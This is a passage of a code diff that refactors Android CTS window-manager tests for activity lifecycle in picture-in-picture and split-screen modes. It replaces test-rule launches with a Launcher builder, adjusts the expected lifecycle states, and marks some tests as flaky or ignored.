+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Wait and assert lifecycle
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Exit PiP
getLifecycleLog().clear();
@@ -143,18 +144,18 @@
@Test
public void testLaunchBelowPip() throws Exception {
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Launch a regular activity below
getLifecycleLog().clear();
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent()
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
// Wait and verify the sequence
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
"launchBelowPip");
@@ -163,17 +164,21 @@
@Test
public void testIntoPipSameTask() throws Exception {
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Launch a regular activity into same task
getLifecycleLog().clear();
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ new Launcher(FirstActivity.class)
+ .setExpectedState(ON_PAUSE)
+ // Skip launch time verification - it can be affected by PiP menu activity
+ .setSkipLaunchTimeCheck()
+ .launch();
// Wait and verify the sequence
- waitAndAssertActivityStates(state(pipActivity, ON_STOP), state(firstActivity, ON_PAUSE));
+ waitAndAssertActivityStates(state(PipActivity.class, ON_STOP));
// TODO(b/123013403): sometimes extra one or even more relaunches happen
//final List<LifecycleLog.ActivityCallback> extraDestroySequence =
@@ -193,13 +198,15 @@
@Test
public void testDestroyBelowPip() throws Exception {
// Launch a regular activity
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE), state(firstActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Destroy the activity below
getLifecycleLog().clear();
@@ -211,20 +218,19 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testSplitScreenBelowPip() throws Exception {
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Launch first activity
getLifecycleLog().clear();
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent()
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
// Enter split screen
@@ -236,11 +242,10 @@
// Launch second activity to side
getLifecycleLog().clear();
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for activities to resume and verify lifecycle
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
Arrays.asList(ON_RESUME), "launchToSide");
@@ -249,29 +254,28 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testPipAboveSplitScreen() throws Exception {
// Launch first activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
// Launch second activity to side
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
- // Wait for activities to resume
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
- state(firstActivity, ON_RESUME));
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
// Launch Pip-capable activity and enter Pip immediately
getLifecycleLog().clear();
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Wait for it to launch and pause. Other activities should not be affected.
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE), state(secondActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME, ON_PAUSE),
"launchAndEnterPip");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 64e34fb..060ae04 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -50,9 +50,9 @@
import androidx.test.filters.MediumTest;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
-import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -62,6 +62,7 @@
*/
@MediumTest
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
@Before
@@ -70,21 +71,17 @@
assumeTrue(supportsSplitScreenMultiWindow());
}
+ @FlakyTest(bugId = 137329632)
@Test
- @FlakyTest(bugId = 131005232)
public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
// Launch first activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch second activity to stop first
- final Activity secondActivity =
- mSecondActivityTestRule.launchActivity(new Intent());
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
- // Wait for second activity to resume. We must also wait for the first activity to stop
- // so that this event is not included in the logs.
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
- state(firstActivity, ON_STOP));
+ // Wait for the first activity to stop, so that this event is not included in the logs.
+ waitAndAssertActivityStates(state(firstActivity, ON_STOP));
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(secondActivity);
@@ -93,25 +90,32 @@
getLifecycleLog().clear();
// Start an activity in separate task (will be placed in secondary stack)
- getLaunchActivityBuilder().execute();
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
+ .launch();
+
+ // Wait for SecondActivity in primary split screen leave minimize dock.
+ waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
// Finish top activity
secondActivity.finish();
- waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
+ state(firstActivity, ON_RESUME));
// Verify that the first activity was recreated to resume as it was created before
// windowing mode was switched
LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+
+ // Verify that the lifecycle state did not change for activity in non-focused stack
+ LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
}
@Test
+ @FlakyTest(bugId=127741025)
public void testOccludingMovedBetweenStacks() throws Exception {
// Launch first activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
@@ -122,21 +126,21 @@
// Launch second activity to side
getLifecycleLog().clear();
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for second activity to resume.
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
- state(firstActivity, ON_RESUME));
+ // Wait for first activity to resume after being moved to split-screen.
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
Arrays.asList(ON_RESUME), "launchToSide");
// Launch third activity on top of second
getLifecycleLog().clear();
- final Activity thirdActivity = mThirdActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
- waitAndAssertActivityStates(state(thirdActivity, ON_RESUME),
- state(secondActivity, ON_STOP));
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(secondActivity, ON_STOP));
// Move occluding third activity to side, it will occlude first now
getLifecycleLog().clear();
@@ -151,11 +155,10 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTranslucentMovedBetweenStacks() throws Exception {
// Launch first activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
@@ -166,22 +169,22 @@
// Launch second activity to side
getLifecycleLog().clear();
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for second activity to resume.
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
- state(firstActivity, ON_RESUME));
+ // Wait for first activity to resume after being moved to split-screen.
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
Arrays.asList(ON_RESUME), "launchToSide");
// Launch translucent activity on top of second
getLifecycleLog().clear();
- final Activity translucentActivity = mTranslucentActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
- waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
- state(secondActivity, ON_PAUSE));
+ new Launcher(TranslucentActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
// Move translucent activity to side, it will be on top of the first now
getLifecycleLog().clear();
@@ -196,13 +199,11 @@
}
@Test
+ @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
public void testResultInNonFocusedStack() throws Exception {
// Launch first activity
final Activity callbackTrackingActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
- // Wait for first activity to resume
- waitAndAssertActivityStates(state(callbackTrackingActivity, ON_TOP_POSITION_GAINED));
+ launchActivityAndWait(CallbackTrackingActivity.class);
// Enter split screen, the activity will be relaunched.
// Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
@@ -231,11 +232,9 @@
waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
// Start an activity in separate task (will be placed in secondary stack)
- final Activity thirdActivity = mThirdActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
- // Wait for third activity to resume
- waitAndAssertActivityStates(state(thirdActivity, ON_RESUME));
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
// Finish top activity and verify that activity below became focused.
getLifecycleLog().clear();
@@ -249,31 +248,26 @@
}
@Test
+ @FlakyTest(bugId=127741025)
public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
// Launch first activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
-
- // Wait for first activity to resume
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
// Start an activity in separate task (will be placed in secondary stack)
- final Activity newTaskActivity = mThirdActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity newTaskActivity = new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME),
- state(firstActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Launch second activity, first become stopped
getLifecycleLog().clear();
- final Activity secondActivity =
- mSecondActivityTestRule.launchActivity(new Intent());
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
- // Wait for second activity to pause and first to stop
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+ // Wait for second activity to resume and first to stop
waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
// Finish top activity
@@ -292,28 +286,21 @@
@Test
public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
// Launch first activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
-
- // Wait for first activity to resume
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
// Launch a translucent activity, first become paused
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
- // Wait for translucent activity to resume and first to pause
- waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
+ // Wait for first activity to pause
waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
// Start an activity in separate task (will be placed in secondary stack)
- final Activity newTaskActivity = mThirdActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
- waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
getLifecycleLog().clear();
@@ -333,11 +320,9 @@
@Test
public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
// Launch a singleTop activity
- final Activity testActivity =
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+ launchActivityAndWait(CallbackTrackingActivity.class);
// Wait for the activity to resume
- waitAndAssertActivityStates(state(testActivity, ON_TOP_POSITION_GAINED));
LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
// Enter split screen
@@ -353,8 +338,7 @@
waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
- ON_RESUME, ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST),
- "moveToSplitScreen");
+ ON_RESUME), "moveToSplitScreen");
LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
transition(CallbackTrackingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
"moveToSplitScreen");
@@ -379,25 +363,21 @@
@Test
public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
- // Launch a singleTop activity
- final Activity testActivity =
- mConfigChangeHandlingActivityTestRule.launchActivity(new Intent());
- // Wait for the activity to resume
- waitAndAssertActivityStates(state(testActivity, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertLaunchSequence(ConfigChangeHandlingActivity.class,
- getLifecycleLog());
-
- // Enter split screen
- getLifecycleLog().clear();
- setActivityTaskWindowingMode(CONFIG_CHANGE_HANDLING_ACTIVITY,
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ // Launch activities and enter split screen. Launched an activity on
+ // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
+ // prior to MULTI_WINDOW_MODE_CHANGED.
+ launchActivitiesInSplitScreen(
+ getLaunchActivityBuilder().
+ setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+ getLaunchActivityBuilder().
+ setTargetActivity(getComponentName(SecondActivity.class)));
// Wait for the activity to receive the change
waitForActivityTransitions(ConfigChangeHandlingActivity.class,
- Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST));
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
- Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED),
"moveToSplitScreen");
// Exit split-screen
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 1df98db..20b8e01 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -16,11 +16,16 @@
package android.server.wm.lifecycle;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.ActivityManagerState.STATE_PAUSED;
import static android.server.wm.ActivityManagerState.STATE_STOPPED;
import static android.server.wm.UiDeviceUtils.pressBackButton;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity.EXTRA_LAUNCH_ON_RESULT;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity.EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.NoDisplayActivity.EXTRA_LAUNCH_ACTIVITY;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.NoDisplayActivity.EXTRA_NEW_TASK;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
@@ -34,12 +39,13 @@
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
import static android.view.Surface.ROTATION_0;
import static android.view.Surface.ROTATION_180;
import static android.view.Surface.ROTATION_270;
import static android.view.Surface.ROTATION_90;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.fail;
@@ -63,61 +69,54 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:ActivityLifecycleTests
*/
-@FlakyTest(bugId = 77652261)
@MediumTest
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityLifecycleTests extends ActivityLifecycleClientTestBase {
@Test
public void testSingleLaunch() throws Exception {
- final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_RESUME));
+ launchActivityAndWait(FirstActivity.class);
LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
}
@Test
public void testLaunchOnTop() throws Exception {
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
getLifecycleLog().clear();
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(occludedActivityState(firstActivity, secondActivity),
- state(secondActivity, ON_RESUME));
+ launchActivityAndWait(SecondActivity.class);
+ waitAndAssertActivityStates(state(firstActivity, ON_STOP));
LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
- getLifecycleLog(), isTranslucent(secondActivity));
+ getLifecycleLog(), false /* launchIsTranslucent */);
}
@Test
+ @FlakyTest(bugId=127741025)
public void testLaunchTranslucentOnTop() throws Exception {
// Launch fullscreen activity
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch translucent activity on top
getLifecycleLog().clear();
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
- state(translucentActivity, ON_RESUME));
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+ waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
getLifecycleLog(), true /* launchIsTranslucent */);
}
@Test
+ @FlakyTest(bugId=127741025)
public void testLaunchDoubleTranslucentOnTop() throws Exception {
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch translucent activity on top
getLifecycleLog().clear();
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
- state(translucentActivity, ON_RESUME));
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+ waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
getLifecycleLog(), true /* launchIsTranslucent */);
@@ -125,9 +124,9 @@
// Launch another translucent activity on top
getLifecycleLog().clear();
final Activity secondTranslucentActivity =
- mSecondTranslucentActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(translucentActivity, ON_PAUSE),
- state(secondTranslucentActivity, ON_RESUME));
+ launchActivityAndWait(SecondTranslucentActivity.class);
+ waitAndAssertActivityStates(
+ occludedActivityState(translucentActivity, secondTranslucentActivity));
LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
Arrays.asList(ON_PAUSE), "launch");
LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "launch");
@@ -148,12 +147,11 @@
@Test
public void testTranslucentMovedIntoStack() throws Exception {
// Launch a translucent activity and a regular activity in separate stacks
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
- state(translucentActivity, ON_STOP));
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+ final Activity firstActivity = new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(translucentActivity, ON_STOP));
final ComponentName firstActivityName = getComponentName(FirstActivity.class);
mAmWmState.computeState(firstActivityName);
@@ -175,15 +173,13 @@
@Test
public void testDestroyTopTranslucent() throws Exception {
// Launch a regular activity and a a translucent activity in the same stack
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
- state(translucentActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+ waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
// Finish translucent activity
getLifecycleLog().clear();
- mTranslucentActivityTestRule.finishActivity();
+ translucentActivity.finish();
waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
state(translucentActivity, ON_DESTROY));
@@ -198,21 +194,15 @@
@Test
public void testDestroyOnTopOfTranslucent() throws Exception {
// Launch fullscreen activity
- final Activity firstActivity =
- mFirstActivityTestRule.launchActivity(new Intent());
-
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch translucent activity
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
-
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
// Launch another fullscreen activity
- final Activity secondActivity =
- mSecondActivityTestRule.launchActivity(new Intent());
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
// Wait for top activity to resume
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
- occludedActivityState(translucentActivity, secondActivity),
- occludedActivityState(firstActivity, secondActivity));
+ waitAndAssertActivityStates(state(translucentActivity, ON_STOP),
+ state(firstActivity, ON_STOP));
getLifecycleLog().clear();
@@ -220,7 +210,7 @@
secondActivity.getWindow().getWindowStyle());
// Finish top activity
- mSecondActivityTestRule.finishActivity();
+ secondActivity.finish();
waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
@@ -241,13 +231,12 @@
@Test
public void testDestroyDoubleTranslucentOnTop() throws Exception {
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
final Activity secondTranslucentActivity =
- mSecondTranslucentActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
- state(translucentActivity, ON_PAUSE), state(secondTranslucentActivity, ON_RESUME));
+ launchActivityAndWait(SecondTranslucentActivity.class);
+ waitAndAssertActivityStates(occludedActivityState(firstActivity, secondTranslucentActivity),
+ occludedActivityState(translucentActivity, secondTranslucentActivity));
// Finish top translucent activity
getLifecycleLog().clear();
@@ -273,9 +262,89 @@
Arrays.asList(ON_RESUME), "secondDestroy");
}
+ @FlakyTest(bugId=137329632)
@Test
+ public void testFinishBottom() throws Exception {
+ final Activity bottomActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity topActivity = launchActivityAndWait(SecondActivity.class);
+ waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
+
+ // Finish the activity on the bottom
+ getLifecycleLog().clear();
+ bottomActivity.finish();
+
+ // Assert that activity on the bottom went directly to destroyed state, and activity on top
+ // did not get any lifecycle changes.
+ waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
+ LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
